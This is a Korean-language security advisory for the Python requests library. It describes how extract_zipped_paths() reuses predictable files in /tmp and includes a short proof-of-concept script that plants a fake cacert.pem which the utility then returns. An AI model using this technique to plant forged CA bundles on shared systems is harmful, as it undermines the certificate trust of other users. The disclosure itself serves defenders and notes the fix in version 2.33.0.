
extract_zipped_paths()에서의 안전하지 않은 임시 파일 재사용
requests 라이브러리(Python)의 공용 유틸리티 함수 requests.utils.extract_zipped_paths()에서 취약점이 확인되었습니다. 이 함수는 시스템 임시 디렉터리(/tmp)로 파일을 추출할 때 예측 가능하고 고유하지 않은 파일명을 사용하며, 기존에 존재하는 파일의 무결성이나 소유권을 검증하지 않습니다.
requests와 certifi의 기본 동작은 importlib.resources에 의해 완화되지만, 이 유틸리티는 압축된 리소스를 처리하기 위해 이 함수에 의존하는 다운스트림 애플리케이션이나 사용자 정의 구현에 있어 여전히 보안상 위험 요소로 남아 있습니다.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:Nrequests.utils.extract_zipped_paths() 함수는 zip 아카이브에서 멤버를 추출하도록 설계되었습니다(주로 zipapp 환경에서 CA 번들에 사용됨). 취약한 로직은 다음 단계를 따릅니다:
basename을 결합합니다(예: /tmp/cacert.pem).if not os.path.exists(extracted_path)를 사용하여 파일을 추출할지 여부를 결정합니다.requests/utils.py에서 로직은 다음과 같이 구현되어 있습니다:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
낮은 권한을 가진 로컬 공격자는 /tmp의 예측 가능한 경로에 악성 파일(예: 위조된 CA 번들)을 미리 생성하여 이를 악용할 수 있습니다. 피해자(사용자 상호작용 필요)가 이 유틸리티를 호출하는 애플리케이션을 실행하면:
다음 스크립트는 유틸리티가 아카이브의 정당한 파일 대신 미리 존재하는 "가짜" 파일을 재사용하는 방법을 보여줌으로써 취약점을 입증합니다.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
이 문제는 버전 2.33.0에서 해결되었습니다. 수정 사항은 압축된 리소스를 보다 안전하게 처리하기 위해 importlib.resources로 전환하는 것을 포함하며, 추출이 무작위의 예측 불가능한 디렉터리에서 발생하도록 보장하고 전역 쓰기 가능한 공유 디렉터리에서 기존 파일의 재사용을 방지합니다.